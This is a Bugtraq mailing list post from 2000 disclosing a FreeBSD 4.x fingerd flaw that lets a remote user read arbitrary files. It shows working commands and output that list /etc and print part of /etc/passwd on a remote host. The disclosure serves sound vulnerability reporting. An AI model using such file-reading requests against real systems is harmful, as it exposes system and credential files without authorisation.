Bugtraq mailing list archives
Re: [sa2c () and or jp: bin/21704: enabling fingerd makes files world readable]
From: Przemyslaw Frasunek <venglin () FREEBSD LUBLIN PL>
Date: Tue, 3 Oct 2000 20:18:12 +0200
On Mon, Oct 02, 2000 at 08:56:40PM +0200, Przemyslaw Frasunek wrote:
If finger takes full path name as user name, it prints out contents of that file. Because fingerd executes finger as local information provider, finger /path/to/file () some host prints /path/to/file at some.host.
BTW. Problem persists only in 4.x branch. Of course, it allows also to traverse directory structures: riget:venglin:~> finger /etc/@lagoon | strings | head -n 3 [lagoon.freebsd.lublin.pl] ^@^@^L^@^D^A.^@^@^@^B^@^@^@^L^@^D^B..^@^@^@^W^A^@^T^@^D^Hdefaults^@^A^@^@^A ^@^@^T^@^H protocols^@^@^@^B riget:venglin:~> finger /etc/passwd@lagoon | head -n2 [lagoon.freebsd.lublin.pl] root:*:0:0:Przemyslaw Frasunek:/home/root:/usr/local/bin/tcsh -- * Fido: 2:480/124 ** WWW: http://www.freebsd.lublin.pl ** NIC-HDL: PMF9-RIPE * * Inet: venglin () freebsd lublin pl ** PGP: D48684904685DF43 EA93AFA13BE170BF *
Current thread:
- [sa2c () and or jp: bin/21704: enabling fingerd makes files world readable] Przemyslaw Frasunek (Oct 02)
- Re: [sa2c () and or jp: bin/21704: enabling fingerd makes files world readable] Przemyslaw Frasunek (Oct 04)
- Re: [sa2c () and or jp: bin/21704: enabling fingerd makes files world readable] Warner Losh (Oct 04)